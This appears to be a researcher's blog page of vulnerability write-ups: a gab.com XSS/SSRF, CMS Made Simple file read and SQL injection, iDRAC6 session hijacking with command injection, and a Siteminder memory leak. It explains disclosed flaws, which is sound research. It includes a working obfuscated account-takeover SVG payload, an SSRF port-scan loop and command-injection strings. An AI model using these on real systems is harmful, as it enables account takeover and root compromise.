Tag: Vulnerability

  • gab.com XSS

    Gab is a microblogging service, primarily based on Mastodon. It’s maintained by some hard right wing weirdos with questionable expertise. They had an XSS vulnerability (one amongst many types of issues, it turned out) and was patched 2021-02-26.

    It’s written in Ruby and I don’t know Ruby at all but it’s pretty obvious what the problem was.

    require 'base64'
    require 'net/http'
    
    class Api::V2::ImageProxyController < EmptyController
      def get
        if params[:trends_url].nil?
          raise GabSocial::NotPermittedError
        else
          url = URI.parse(params[:trends_url])
          image = Net::HTTP.get_response(url)
          send_data image.body, type: image.content_type, disposition: 'inline'
        end
      end
    end

    In their “image proxy” controller, it will take an input parameter trends_url and render it. This is intended for, as the name would suggest, images. However as we can see it will just take the type provided by the remote server and serve the content with that type.

    As such, we can construct a URL which allows us to render any content on gab.com, e.g. https://gab.com/api/v2/image_proxy?trends_url=http://ifconfig.me will show it’s outbound connection IP, as returned by ifconfig.me.

    They have a CSP, but we could already render content on the gab.com domain through this same method it’s not an hinderance.

    The payload I created would be sent to a user, and when loaded through the Gab image_proxy API and rendered in the browser of a logged in Gab user would update their Gab accounts registered email address. To achieve this we leverage a second weakness, in that the finish_signup process could be reached after sign-up to change the accounts registered email without any confirmation or additional authorisation (typically, this would require a user re-entering their password to confirm the change or accepting the change via email to the old email address).

    First, it would use XHR to GET /auth/finish_signup to obtain this form for the logged in user. Since the <script> section of our payload is under gab.com we’re allowed to fetch it and view the results. From this we obtain the CSRF token we need to submit the finish_signup form. We can also obtain the current users email address from here, it could be XHR’d out to an external source but we don’t currently.

    Secondly, it would use XHR to POST /auth/finish_signup to set a new email address on the logged in users account, using the previously obtain CSRF token.

    At this point we can confirm the email address at the new address we provided (no confirmation at the old is needed, but a notification email is sent) and once confirmed we can initiate a password reset to our malicious address and take control of the account.

    For the payload itself, I worked some fun XML ENTITY related tricks, to smuggle a <script> section into the SVG as an HTML entity encoded XML entity. The XML opt entity defines the email address which will be used in the POST request.

    <!DOCTYPE svg [
      <!ENTITY opt "[email protected]">
      <!ENTITY item "&#x3c;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;&#x0a;&#x74;&#x61;&#x6b;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x5f;&#x65;&#x6d;&#x61;&#x69;&#x6c;&#x20;&#x3d;&#x20;&#x22;&opt;&#x22;&#x3b;&#x0a;&#x3c;&#x21;&#x5b;&#x43;&#x44;&#x41;&#x54;&#x41;&#x5b;&#x0a;&#x63;&#x73;&#x72;&#x66;&#x65;&#x74;&#x63;&#x68;&#x20;&#x3d;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x58;&#x4d;&#x4c;&#x48;&#x74;&#x74;&#x70;&#x52;&#x65;&#x71;&#x75;&#x65;&#x73;&#x74;&#x28;&#x29;&#x3b;&#x0a;&#x74;&#x61;&#x6b;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x20;&#x3d;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x58;&#x4d;&#x4c;&#x48;&#x74;&#x74;&#x70;&#x52;&#x65;&#x71;&#x75;&#x65;&#x73;&#x74;&#x28;&#x29;&#x3b;&#x0a;&#x63;&#x73;&#x72;&#x66;&#x65;&#x74;&#x63;&#x68;&#x2e;&#x6f;&#x6e;&#x6c;&#x6f;&#x61;&#x64;&#x20;&#x3d;&#x20;&#x66;&#x75;&#x6e;&#x63;&#x74;&#x69;&#x6f;&#x6e;&#x28;&#x29;&#x20;&#x7b;&#x0a;&#x09;&#x72;&#x20;&#x3d;&#x20;&#x63;&#x73;&#x72;&#x66;&#x65;&#x74;&#x63;&#x68;&#x2e;&#x72;&#x65;&#x73;&#x70;&#x6f;&#x6e;&#x73;&#x65;&#x54;&#x65;&#x78;&#x74;&#x0a;&#x09;&#x6c;&#x65;&#x74;&#x20;&#x75;&#x72;&#x6c;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x64;&#x44;&#x61;&#x74;&#x61;&#x20;&#x3d;&#x20;&#x22;&#x22;&#x2c;&#x0a;&#x09;&#x20;&#x75;&#x72;&#x6c;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x64;&#x44;&#x61;&#x74;&#x61;&#x50;&#x61;&#x69;&#x72;&#x73;&#x20;&#x3d;&#x20;&#x5b;&#x5d;&#x2c;&#x0a;&#x09;&#x20;&#x64;&#x61;&#x74;&#x61;&#x20;&#x3d;&#x20;&#x7b;&#x7d;&#x2c;&#x0a;&#x09;&#x20;&#x6e;&#x61;&#x6d;&#x65;&#x3b;&#x0a;&#x09;&#x64;&#x61;&#x74;&#x61;&#x5b;&#x22;&#x5f;&#x6d;&#x65;&#x74;&#x68;&#x6f;&#x64;&#x22;&#x5d;&#x3d;&#x22;&#x70;&#x61;&#x74;&#x63;&#x68;&#x22;&#x3b;&#x0a;&#x09;&#x64;&#x61;&#x74;&#x61;&#x5b;&#x22;&#x61;&#x75;&#x74;&#x68;&#x65;&#x6e;&#x74;&#x69;&#x63;&#x69;&#x74;&#x79;&#x5f;&#x74;&#x6f;&#x6b;&#x65;&#x6e;&#x22;&#x5d;&#x3d;&#x72;&#x2e;&#x6d;&#x61;&#x74;&#x63;&#x68;&#x28;&#x2f;&#x6d;&#x65;&#x74;&#x61;&#x20;&#x6e;&#x61;&#x6d;&#x65;&#x3d;&#x22;&#x63;&#x73;&#x72;&#x66;&#x2d;&#x74;&#x6f;&#x6b;&#x65;&#x6e;&#x22;&#x20;&#x63;&#x6f;&#x6e;&#x74;&#x65;&#x6e;&#x74;&#x3d;&#x22;&#x28;&#x2e;&#x2a;&#x29;&#x22;&#x20;&#x5c;&#x2f;&#x2f;&#x29;&#x5b;&#x31;&#x5d;&#x3b;&#x0a;&#x09;&#x64;&#x61;&#x74;&#x61;&#x5b;&#x22;&#x75;&#x73;&#x65;&#x72;&#x5b;&#x65;&#x6d;&#x61;&#x69;&#x6c;&#x5d;&#x22;&#x5d;&#x3d;&#x74;&#x61;&#x6b;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x5f;&#x65;&#x6d;&#x61;&#x69;&#x6c;&#x3b;&#x0a;&#x09;&#x64;&#x61;&#x74;&#x61;&#x5b;&#x22;&#x63;&#x6f;&#x6d;&#x6d;&#x69;&#x74;&#x22;&#x5d;&#x3d;&#x22;&#x43;&#x6f;&#x6e;&#x66;&#x69;&#x72;&#x6d;&#x20;&#x65;&#x6d;&#x61;&#x69;&#x6c;&#x22;&#x3b;&#x0a;&#x09;&#x66;&#x6f;&#x72;&#x28;&#x20;&#x6e;&#x61;&#x6d;&#x65;&#x20;&#x69;&#x6e;&#x20;&#x64;&#x61;&#x74;&#x61;&#x20;&#x29;&#x20;&#x7b;&#x0a;&#x09;&#x20;&#x75;&#x72;&#x6c;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x64;&#x44;&#x61;&#x74;&#x61;&#x50;&#x61;&#x69;&#x72;&#x73;&#x2e;&#x70;&#x75;&#x73;&#x68;&#x28;&#x20;&#x65;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x55;&#x52;&#x49;&#x43;&#x6f;&#x6d;&#x70;&#x6f;&#x6e;&#x65;&#x6e;&#x74;&#x28;&#x20;&#x6e;&#x61;&#x6d;&#x65;&#x20;&#x29;&#x20;&#x2b;&#x20;&#x27;&#x3d;&#x27;&#x20;&#x2b;&#x20;&#x65;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x55;&#x52;&#x49;&#x43;&#x6f;&#x6d;&#x70;&#x6f;&#x6e;&#x65;&#x6e;&#x74;&#x28;&#x20;&#x64;&#x61;&#x74;&#x61;&#x5b;&#x6e;&#x61;&#x6d;&#x65;&#x5d;&#x20;&#x29;&#x20;&#x29;&#x3b;&#x0a;&#x09;&#x7d;&#x0a;&#x09;&#x75;&#x72;&#x6c;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x64;&#x44;&#x61;&#x74;&#x61;&#x20;&#x3d;&#x20;&#x75;&#x72;&#x6c;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x64;&#x44;&#x61;&#x74;&#x61;&#x50;&#x61;&#x69;&#x72;&#x73;&#x2e;&#x6a;&#x6f;&#x69;&#x6e;&#x28;&#x20;&#x27;&#x26;&#x27;&#x20;&#x29;&#x2e;&#x72;&#x65;&#x70;&#x6c;&#x61;&#x63;&#x65;&#x28;&#x20;&#x2f;&#x25;&#x32;&#x30;&#x2f;&#x67;&#x2c;&#x20;&#x27;&#x2b;&#x27;&#x20;&#x29;&#x3b;&#x0a;&#x09;&#x74;&#x61;&#x6b;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x2e;&#x6f;&#x70;&#x65;&#x6e;&#x28;&#x22;&#x50;&#x4f;&#x53;&#x54;&#x22;&#x2c;&#x20;&#x22;&#x68;&#x74;&#x74;&#x70;&#x73;&#x3a;&#x2f;&#x2f;&#x67;&#x61;&#x62;&#x2e;&#x63;&#x6f;&#x6d;&#x2f;&#x61;&#x75;&#x74;&#x68;&#x2f;&#x66;&#x69;&#x6e;&#x69;&#x73;&#x68;&#x5f;&#x73;&#x69;&#x67;&#x6e;&#x75;&#x70;&#x22;&#x2c;&#x20;&#x74;&#x72;&#x75;&#x65;&#x29;&#x3b;&#x0a;&#x09;&#x74;&#x61;&#x6b;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x2e;&#x73;&#x65;&#x74;&#x52;&#x65;&#x71;&#x75;&#x65;&#x73;&#x74;&#x48;&#x65;&#x61;&#x64;&#x65;&#x72;&#x28;&#x27;&#x43;&#x6f;&#x6e;&#x74;&#x65;&#x6e;&#x74;&#x2d;&#x54;&#x79;&#x70;&#x65;&#x27;&#x2c;&#x20;&#x27;&#x61;&#x70;&#x70;&#x6c;&#x69;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2f;&#x78;&#x2d;&#x77;&#x77;&#x77;&#x2d;&#x66;&#x6f;&#x72;&#x6d;&#x2d;&#x75;&#x72;&#x6c;&#x65;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x64;&#x27;&#x29;&#x3b;&#x0a;&#x09;&#x74;&#x61;&#x6b;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x2e;&#x73;&#x65;&#x6e;&#x64;&#x28;&#x75;&#x72;&#x6c;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x64;&#x44;&#x61;&#x74;&#x61;&#x29;&#x3b;&#x0a;&#x7d;&#x3b;&#x0a;&#x63;&#x73;&#x72;&#x66;&#x65;&#x74;&#x63;&#x68;&#x2e;&#x6f;&#x6e;&#x65;&#x72;&#x72;&#x6f;&#x72;&#x20;&#x3d;&#x20;&#x66;&#x75;&#x6e;&#x63;&#x74;&#x69;&#x6f;&#x6e;&#x28;&#x29;&#x20;&#x7b;&#x0a;&#x09;&#x77;&#x69;&#x6e;&#x64;&#x6f;&#x77;&#x2e;&#x6c;&#x6f;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x3d;&#x20;&#x22;&#x2f;&#x61;&#x75;&#x74;&#x68;&#x2f;&#x73;&#x69;&#x67;&#x6e;&#x5f;&#x69;&#x6e;&#x22;&#x3b;&#x0a;&#x7d;&#x3b;&#x0a;&#x74;&#x61;&#x6b;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x2e;&#x6f;&#x6e;&#x6c;&#x6f;&#x61;&#x64;&#x20;&#x3d;&#x20;&#x66;&#x75;&#x6e;&#x63;&#x74;&#x69;&#x6f;&#x6e;&#x28;&#x29;&#x20;&#x7b;&#x0a;&#x09;&#x77;&#x69;&#x6e;&#x64;&#x6f;&#x77;&#x2e;&#x6c;&#x6f;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x3d;&#x20;&#x22;&#x2f;&#x68;&#x6f;&#x6d;&#x65;&#x22;&#x3b;&#x0a;&#x7d;&#x3b;&#x0a;&#x74;&#x61;&#x6b;&#x65;&#x6f;&#x76;&#x65;&#x72;&#x2e;&#x6f;&#x6e;&#x65;&#x72;&#x72;&#x6f;&#x72;&#x20;&#x3d;&#x20;&#x66;&#x75;&#x6e;&#x63;&#x74;&#x69;&#x6f;&#x6e;&#x28;&#x29;&#x20;&#x7b;&#x0a;&#x09;&#x6c;&#x6f;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2e;&#x72;&#x65;&#x6c;&#x6f;&#x61;&#x64;&#x28;&#x74;&#x72;&#x75;&#x65;&#x29;&#x3b;&#x0a;&#x7d;&#x3b;&#x0a;&#x63;&#x73;&#x72;&#x66;&#x65;&#x74;&#x63;&#x68;&#x2e;&#x6f;&#x70;&#x65;&#x6e;&#x28;&#x22;&#x47;&#x45;&#x54;&#x22;&#x2c;&#x20;&#x22;&#x2f;&#x61;&#x75;&#x74;&#x68;&#x2f;&#x66;&#x69;&#x6e;&#x69;&#x73;&#x68;&#x5f;&#x73;&#x69;&#x67;&#x6e;&#x75;&#x70;&#x22;&#x2c;&#x20;&#x74;&#x72;&#x75;&#x65;&#x29;&#x3b;&#x0a;&#x63;&#x73;&#x72;&#x66;&#x65;&#x74;&#x63;&#x68;&#x2e;&#x73;&#x65;&#x6e;&#x64;&#x28;&#x29;&#x3b;&#x0a;&#x5d;&#x5d;&#x3e;&#x0a;&#x3c;&#x2f;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;">
    ]>
    <svg
    	xmlns:svg="http://www.w3.org/2000/svg"
    	xmlns="http://www.w3.org/2000/svg"
    	version="1.1">
    	&item;
    </svg>

    It’s encoded purely for very limited obfuscation purposes, unencoded it looks like this…

    <!DOCTYPE svg>
    <svg
    	xmlns:svg="http://www.w3.org/2000/svg"
    xmlns="http://www.w3.org/2000/svg"
    version="1.1">
    <script>
        takeover_email = "[email protected]";
        csrfetch = new XMLHttpRequest();
        takeover = new XMLHttpRequest();
        csrfetch.onload = function() {
    	r = csrfetch.responseText
    	//current_email = r.match(/type=\"email\" value=\"(.*)\" name=\"user\[email\]\" id=\"user_email\"/)[1];
    	let urlEncodedData = "",urlEncodedDataPairs = [],data = {},name;
    	data["_method"]="patch";
    	data["authenticity_token"]=r.match(/meta name=\"csrf-token\" content=\"(.*)\" \//)[1];
    	data["user[email]"]=takeover_email;
    	data["commit"]="Confirm email";
    	for( name in data ) {
    		urlEncodedDataPairs.push( encodeURIComponent( name ) + '=' + encodeURIComponent( data[name] ) );
    	}
    	urlEncodedData = urlEncodedDataPairs.join( '&' ).replace( /%20/g, '+' );
    	takeover.open("POST", "https://gab.com/auth/finish_signup", true);
    	takeover.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    	takeover.send(urlEncodedData);
        };
        csrfetch.onerror = function() {
    	window.location = "/auth/sign_in";
        };
        takeover.onload = function() {
    	window.location = "/home";
        };
        takeover.onerror = function() {
    	location.reload(true);
        };
        csrfetch.open("GET", "/auth/finish_signup", true);
        csrfetch.send();
    </script>

    There’s a lot of fucking around in preparing the POST request because in SVG we don’t seem to have a document.body to put <form/> entities on to .submit().

    Extras

    Since we can make the gab.com webapp make any request we like, this also allows us to make connections within their internal network.

    There is potential for cross-protocol or SSRF attacks.

    As an example, we will use an error message as an oracle to let us check for open TCP ports on the webapp’s localhost.

    $ curl https://gab.com/api/v2/image_proxy?trends_url=https://localhost:12345 2> /dev/null | head -n 1
    <!DOCTYPE html>

    We get an HTML based error page on port 12345.

    $ curl https://gab.com/api/v2/image_proxy?trends_url=https://localhost:22 2> /dev/null | head -n 1
    {"error":"Remote SSL certificate could not be verified"}

    However, we get an SSL error on port 22.

    We can conclude that when it tries to connect to localhost:12345 it fails to connect, but when it connects on localhost:22 it gets some response but it’s not a valid SSL certificate (note, we are using https://localhost).

    This allows us to check which services are running, and we have some control over what data is sent to them. This error oracle lets us construct a primitive port-scanner.

    $ for PORT in 21 22 25 80 443 3000; do curl https://gab.com/api/v2/image_proxy?trends_url=https://localhost:$PORT 2> /dev/null | head -n 1 | grep -q "Remote SSL certificate could not be verified" && echo "$PORT open" || echo "$PORT closed";done
    21 closed
    22 open
    25 closed
    80 open
    443 closed
    3000 open
  • CMS Made Simple Blind SQL Injection, Resurrected

    This was found while working on a HackTheBox challenge. I won’t go into details of the challenge, because that’s not the point.

    The challenge box was running an old version of CMS Made Simple, a Content Management System written in PHP.

    When approaching the box, it’s easy to determine the version and find the public exploit for CVE-2019-9053 and cheese it. However in my opinion, that’s not the point. So instead, I went out and fetched a copy of the source code for CMS Made Simple.

    I spent a while getting to grips with the source and how it was written and one thing immediately stuck out, there was a read file function which was reachable without any authentication. The code for these modules was normally prefixed with a section of code that checks the authentication before proceeding, and it was obviously missing.

    As such, we could construct a query string...

    ?mact=FileManager,m1_,view,0&m1_file=Li4vY29uZmlnLnBocA==

    Where Li4vY29uZmlnLnBocA== is ../config.php encoded with base64, and the service would return the file content to us providing an unauthenticated arbitrary file read.

    It turned out that this was CVE-2018-10522 and was a known vulnerability that had never been patched. The vendor was not actually aware of it, which doesn’t surprise me as reporting the bug was not easy and they actively resisted attempts to contact them about it.

    However, the report for CVE-2018-10522 seemed to miss the fact that this was pre-auth making this much easier to exploit.

    Unfortunately, a file read wasn’t sufficient to claim the flag for the challenge box so I had to dig deeper.

    This is where CVE-2019-9053 comes in, it’s a blind SQL injection vulnerability in the News module. The code vulnerable to CVE-2019-9053 is as follows…

    if( isset($params['idlist']) ) {
        $idlist = $params['idlist'];
        if( is_string($idlist) ) {
            $tmp = explode(',',$idlist);
            for( $i = 0; $i < count($tmp); $i++ ) {
                $tmp[$i] = (int)$tmp[$i];
                if( $tmp[$i] < 1 ) unset($tmp[$i]);
            }
            $idlist = array_unique($tmp);
            $query1 .= ' (mn.news_id IN ('.implode(',',$idlist).')) AND ';
        }
    }

    The original exploit for this was found and created by Daniele Scanu and can be found here.

    The patched code looks like this…

    if( isset($params['idlist']) ) {
        $idlist = $params['idlist'];
        if( is_string($idlist) ) {
            $tmp = explode(',',$idlist);
            $idlist = [];
            for( $i = 0; $i < count($tmp); $i++ ) {
                $val = (int)$tmp[$i];
                if( $val > 0 && !in_array($val,$idlist) ) $idlist[] = $val;
            }
        }
        if( !empty($idlist) ) $query1 .= ' (mn.news_id IN ('.implode(',',$idlist).')) AND ';
    }

    It checks to see if it’s a string, and if so it splits it around the comma and converts them to ints, then implodes it. The problem is that the code seems to assume that the input must be a number or a string. An obvious solution presents itself: Send an array.

    This allows us to once again smuggle arbitrary content into the SQL query string ($query1) and perform SQL injection.

    This specific exploit was patched in CMSMS 2.2.13.

    You can review the tool here.

  • iDRAC6 web session hijacking

    iDRAC provides out-of-band access to managed servers.

    It allows you to manage a remote server, providing access to the screen and other management functions. Most server manufacturers offer similar capabilities (e.g. iLO, IPMI, …).

    In effect, it’s an IoT device that is wired into the server allowing access even while the server is powered off.

    It provides a web interface, and this tool affects that component.

    When a new user loads the web interface they are assigned a session cookie (if one is not already present). The cookie name is _appwebSessionId_ and it will have a value which contains a pseudo-random hex string.

    While repeated sessions will provide seemingly unrelated session values, in reality they’re closely related and predictable.

    Inside the web service there are 3 values which are being used to generate these session values:

    • A heap structure pointer
    • A Unix timestamp (in seconds)
    • A counter

    These three values are converted to a hex string, and then used as the input for MD5. The resulting MD5 hash is assigned as the session cookie.

    The following is a snippet of code from http/host.cpp from mBedthis Appweb 2.4 which is the function used to generate the _appwebSessionId_ cookie. As such, any device or application using a similar version of Appweb may have similarly vulnerable session cookies.

    //
    //	Create a new session including the session ID.
    //
    
    MaSession *MaHost::createSession(int timeout)
    {
    	MaSession	*sp;
    	char		idBuf[64], *id;
    	static int	idCount = 0;
    
    	//
    	//	Create a new session ID
    	//
    	mprSprintf(idBuf, sizeof(idBuf), "%08x%08x%08x", this, time(0), idCount++);
    	id = maMD5(idBuf);
    
    	if (timeout <= 0) {
    		timeout = sessionTimeout;
    	}
    	sp = new MaSession(this, id, timeout);
    	mprFree(id);
    
    	//
    	//	Keep a hash lookup table of all sessions. The key is the session ID.
    	//
    	lock();
    	sessions->insert(sp);
    	unlock();
    	return sp;
    }

    Each time a new session is assigned, the counter is incremented. The pointer is static and persists for the duration of the web server process, and the timestamp has almost no real variance and can more or less be discounted.

    Since the pointer exists within a limited area of memory, the timestamp is known (from the server Date header, for example) and the counter only increments by 1 each new session there is not a lot of entropy in this value.

    To start our attack, we will request the login page for the device to obtain a session cookie. We will then make reasonable guesses as to the pointer, counter and timestamp values and hash them locally, until our local guess matches the value we received from the iDRAC.

    At this point, we can synchronise ourself with the RNG on the remote device and we perform the first step of the attack.

    We request a second session cookie, and we use our previously discovered values to speedup the cracking process to only a few guesses. However, we can use newly recovered the counter value to tell if another user has requested a session, since we can now determine how many times the counter has been incremented since the previous request.

    At this point, the trap is set. We’ll continue to repeat the previous step and monitor the counter value until we see the value increase. Once we see an increase, we will generate a set of candidate cookie values, using their counter value and the known heap pointer and a set of possible timestamps.

    If the user who was assigned the session cookie has since logged in, then their session cookie can be used to retrieve pages that unauthenticated cookies can’t. In our case /sysSummaryData.html is used but other suitable candidates exist.

    By submitting our candidate session cookies to such a page, we can find a logged in session.

    At this point, you can retrieve some information from the device but to interface with the API to make changes a second set of session values are assigned upon login by the device which we’ll need to obtain.

    Two values are assigned and used via javascript (they’ll be in the address bar and are given the identifiers ST1 and ST2).

    This too takes 3 inputs as it’s seed value:

    • A counter
    • A Unix timestamp (in seconds)
    • The pid of the web server.

    The following is a slightly cleaned up decompilation of the associated function from /usr/local/lib/appweb/libavctAuth.so used to generate the ST1 and ST2 tokens.

    string AUtil::generateRandomKey(void)
    {
      string tokenString;
      __pid_t pid;
      uint __seed;
      time_t current_time;
      string tokenPtr;
      tokenPtr = (char *)tokenString;
    /*...*/
      current_time = time((time_t *)0x0);
      pid = getpid();
      srand(current_time + pid + generateRandomKey::lexical_block_0::counter);
      for (rValue = 0; rValue < 4; rValue = rValue + 1) {
        __seed = rand();
        snprintf(strBuf,0x40,"%08x",__seed);
        uStack168 = 1;
        std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(tokenPtr);
        srand(__seed);
      }
      if (generateRandomKey::lexical_block_0::counter < 0xffff) {
        generateRandomKey::lexical_block_0::counter = generateRandomKey::lexical_block_0::counter + 1;
      }
      else {
        generateRandomKey::lexical_block_0::counter = 0;
      }
    /*...*/
      return (string)tokenPtr;
    }

    These 3 values are added together and then used in combination with srand()/rand(). Since these feed back into each other, the first 32 bits are all that really matters. You can test this yourself, by taking the first 32 bits of an ST1 value and use it as the input for srand() and see if rand() outputs the next 32 bits.

    We’ll brute-force the keyspace for this, and submit a request with the session cookie and the ST2 value to an API endpoint on the device. This is an online attack, so takes longer.

    Once we receive a success response from the API endpoint, we know that we’ve successfully forged the credentials of the admin session.

    At this point, the tool will use CVE-2018-1212 to obtain code execution as root on the device. There is a second exploit utilising the remote ISO mount utility which also provides code execution detailed in the source code comments.

    The below is a relatively ugly decompilation from Ghidra of /usr/local/bin/guiDataServer which handles the requests to the /data?get=diagPing URL on the server.

    local_7c = 6;
    bVar1 = std::operator==<char,_std::char_traits<char>,_std::allocator<char>_>(name,(char *)"diagPing")
    if (bVar1) {
      local_ac = &bStack_4c;
      std::operator+<char,_std::char_traits<char>,_std::allocator<char>_>
        ((char *)&loc,(basic_string<char,std::char_traits<char>,std::allocator<char>_> *)"racadm ping ");
      local_7c = 2;
      std::operator+<char,_std::char_traits<char>,_std::allocator<char>_>
        (local_ac,(char *)&loc);
      local_7c = 1;
      std::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=
        ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)&this->m_commandStr,(basic_string *)&bStack_4c);
      local_7c = 2;
      std::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string
        ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)&bStack_4c);
      local_7c = 6;
      std::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string
        ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)&loc);
    } else {
      local_7c = 6;
      std::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=
        ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)&this->m_commandStr,"#");
    }

    The function simply appends the provided ping target to “racadm ping ” which is then executed on the server. So constructing a request like “/data?get=diagPing(1.1.1.1|id)” results in the command “racadm ping 1.1.1.1|id” being executed, as root.

    You can review the tool (and some helpful hints in the comments).

    Extras

    As noted earlier in the post, things like boot captures (videos of the host server boot process) can be obtained without any authentication. This is relatively simple to perform:

    wget --no-check-certificate "https://${IDRAC_IP}/captures/bootcapture_"{0..99}

    This also applies to iDRAC7, with a slight modification:

    wget --no-check-certificate "https://${IDRAC_IP}/captures/bootcapture_"{0..99}".dvc"

    Additional RCE may be available via the Remote File Share functionality. This is primarily intended as a means to mount a remote ISO image as a virtual CD-ROM device for OS and Driver installation.

    By making a request as follows “/data?set=remoteFileshrUser:user,remoteFileshrPwd:%60touch%20%2ftmp%2fflag%60,remoteFileshrImage:%2F%2F127.0.0.1%2Frootme,remoteFileshrAction:1” these values get written to /etc/pm.conf under pm_str_rfs_username, pm_str_rfs_password, pm_str_rfs_rmpath.

    Later these values are read by /avct/sbin/pm and then in the RfsUp() function they’re finally used to construct a command string and passed to system() and executed as root.

    mkdir("/tmp/rfs",0x1ed);
    iVar1 = strncmp(pRfsInfo->szPath,"//",2);
    if (iVar1 == 0) {
      snprintf(&cmd_str,0x400,"mount %s %s -o user=%s,pass=\"%s\"",pRfsInfo,"/tmp/rfs",
    pRfsInfo->szUser, pRfsInfo->szPasswd);
    } else {
      snprintf(&cmd_str,0x400,"mount %s %s -o soft,nolock", pRfsInfo, "/tmp/rfs");
    }
    iVar1 = system(&cmd_str);

    The above vulnerability is blind, we don’t see the output of the command as we do for CVE-2018-1212. I’m unsure if this vulnerability was ever assigned a CVE though all of this was reported to Dell, who state that they’ve been unable to replicate any of these results (except CVE-2018-1212).

    In 2.91, which patched CVE-2018-1212, we see the addition of three functions to /usr/local/bin/guiDataServer, specifically validatePingParam, validatePing6Param and validateGetTraceLogParam (the unreported diagGetTraceLog method is almost identical to diagPing) which attempts to validate the input which would be appended to racadm commands and executed.

    2.92 did not address the issues with the cryptographic security of the session tokens. I don’t have a device to test but I also believe that at this point the command execution on the Remote File Share is still vulnerable from a cursory review of the relevant functions on firmwares 2.90, 2.91 and 2.92.

  • Siteminder Memory Leak

    CA Siteminder is an authentication provider for web interfaces.

    It’s widely deployed and can be used as a Single Sign-On for web services.

    It has an interesting bug which is surprising for a web interface, it was incorrectly decoding URL encoded content.

    This provides two interesting attacks, one more serious the other only useful as part of a chain.

    The url decoding code is written in C++, similar to this…

    for ( j=0, k=0; j < len; j++, k++ ) {
        switch( temp[j] ) {
            case '+':
                target[k] = ' ';
                break;
            case '%':
                c1 = tolower(temp[++j]);
                if ( isdigit(c1) ) {
                    c1 -= '0';
                } else {
                    c1 = c1 - 'a' + 10;
                }
                c2 = tolower(temp[++j]);
                if ( isdigit(c2) ) {
                    c2 -= '0';
                } else {
                    c2 = c2 - 'a' + 10;
                }
                target[k] = c1 * 16 + c2;
                break;
            default:
                target[k] = temp[j];
                break;
        }
    }

    The first thing you’ll notice is that it doesn’t actually check that the characters following the % symbol are actually valid hex characters.

    This is the less dangerous of the issues, it’s possible to create input which is junk URL encoded content but will be correctly decoded on the target application. In testing, this allowed us to smuggle payloads past a WAF that would otherwise be blocked, since it didn’t recover the same payload as the actual application would.

    The more serious issue that a keen observer may have spotted is that it also doesn’t check if there are characters beyond the % symbol but will attempt to copy them anyway.

    On the system, this allows us to send an input that results in an incorrectly terminated string. It’s very common for input values to be reflected back to the client in the rendered page.

    The entire query string is decoded in one go, so to exploit this we will construct a URL where the last value listed in our query string is terminated with a %. When it later reflects this value back to us, it will read beyond the end of our input and return chunks of memory (up until the next null byte or page fault).

    This vulnerability is relatively widespread and indicates that many large vendors haven’t patched in years. These include technology, aerospace and defence, financial industry, etc.

    The tool itself is using a regex submatch to extract the leaked data, which isn’t ideal but demonstrates the bug.

    You can review the tool (and some example vulnerable systems in the comments).